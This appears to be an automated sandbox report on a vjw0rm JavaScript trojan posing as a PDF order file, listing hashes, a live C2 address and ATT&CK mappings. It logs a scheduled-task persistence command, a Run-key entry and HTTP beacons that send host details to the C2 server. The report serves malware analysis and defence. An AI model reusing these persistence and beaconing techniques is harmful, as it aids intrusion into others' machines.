vjw0rm | e991bba3a39d36461d64ed184bead6cb4eba71c1d0091d20d304cb80ab7e5ae5 | Triage

Analysis

max time kernel
134s
max time network
137s
platform
windows7_x64
resource
win7-20231020-en
resource tags

arch:x64arch:x86image:win7-20231020-enlocale:en-usos:windows7-x64system
submitted
23/10/2023, 14:33 UTC

Sharing

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General

Target

23102023_2233_Order_1000213789.PDF.js
Size

24KB
MD5

1b5fde2efe79bc0ec4d22a1d91760165
SHA1

00aa16c286726482769c0ae381ca0a6f5a4a5209
SHA256

e991bba3a39d36461d64ed184bead6cb4eba71c1d0091d20d304cb80ab7e5ae5
SHA512

17db34f6848ce5f9be41389b6694fa156badb31c6b7e90840c87a9f32b4f7f9394adea664b8de41185458c2098dd6771ab481cc3313167919943f64f37d960ca
SSDEEP

384:z3YzEX81ndQeyn3mp0QEXvuJSWK7Zv73IMZKrnM52Q0zBtQ3ogtOhHKTAKDS:DYzEXkda3mtEWJXKNTICKPsntyKTJu

Score

10^/10

vjw0rm persistence trojan worm

Malware Config

Extracted

Family

vjw0rm

C2

http://severdops.ddns.net:5050

Signatures

Vjw0rm
Vjw0rm is a remote access trojan written in JavaScript.
trojan worm vjw0rm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	2520	wscript.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\23102023_2233_Order_1000213789.PDF.js	wscript.exe

Adds Run key to start application 2 TTPs 1 IoCs

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2952504676-3105837840-1406404655-1000\Software\Microsoft\Windows\CurrentVersion\Run\UQHC8JRDD3 = "\"C:\\Users\\Admin\\AppData\\Roaming\\23102023_2233_Order_1000213789.PDF.js\""	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

Scheduled Task/Job

pid	Process
2864	schtasks.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2520 wrote to memory of 2864	2520	wscript.exe	29
PID 2520 wrote to memory of 2864	2520	wscript.exe	29
PID 2520 wrote to memory of 2864	2520	wscript.exe	29

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\23102023_2233_Order_1000213789.PDF.js
1⤵
- Blocklisted process makes network request
- Drops startup file
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2520
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /sc minute /mo 30 /tn Skype /tr "C:\Users\Admin\AppData\Roaming\23102023_2233_Order_1000213789.PDF.js
  2⤵
  - Creates scheduled task(s)
  PID:2864

Network

DNS

severdops.ddns.net

wscript.exe

Remote address:

8.8.8.8:53

Request

severdops.ddns.net

IN A

Response

severdops.ddns.net

IN A

95.214.27.31
POST

http://severdops.ddns.net:5050/Vre

wscript.exe

Remote address:

95.214.27.31:5050

Request

POST /Vre HTTP/1.1
Accept: */*
Accept-Language: en-us
User-Agent: STW_48E58919\URUOZWGF\Admin\Microsoft Windows 7 Ultimate \undefined\\YES\FALSE\
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
Host: severdops.ddns.net:5050
Content-Length: 0
Connection: Keep-Alive
Cache-Control: no-cache

Response

HTTP/1.1 200 OK

Transfer-Encoding: chunked
Server: Microsoft-HTTPAPI/2.0
Date: Mon, 23 Oct 2023 14:35:55 GMT
POST

http://severdops.ddns.net:5050/Vre

wscript.exe

Remote address:

95.214.27.31:5050

Request

POST /Vre HTTP/1.1
Accept: */*
Accept-Language: en-us
User-Agent: STW_48E58919\URUOZWGF\Admin\Microsoft Windows 7 Ultimate \undefined\\YES\FALSE\
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
Host: severdops.ddns.net:5050
Content-Length: 0
Connection: Keep-Alive
Cache-Control: no-cache

95.214.27.31:5050

http://severdops.ddns.net:5050/Vre

http

wscript.exe

820 B
292 B
5
4

HTTP Request

POST http://severdops.ddns.net:5050/Vre

HTTP Response

200

HTTP Request

POST http://severdops.ddns.net:5050/Vre

8.8.8.8:53

severdops.ddns.net

dns

wscript.exe

64 B
80 B
1
1

DNS Request

severdops.ddns.net

DNS Response

95.214.27.31

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

Registry Run Keys / Startup Folder

Scheduled Task/Job

Privilege Escalation

Boot or Logon Autostart Execution

Registry Run Keys / Startup Folder

Scheduled Task/Job

Defense Evasion

Modify Registry

Credential Access

Discovery

Query Registry

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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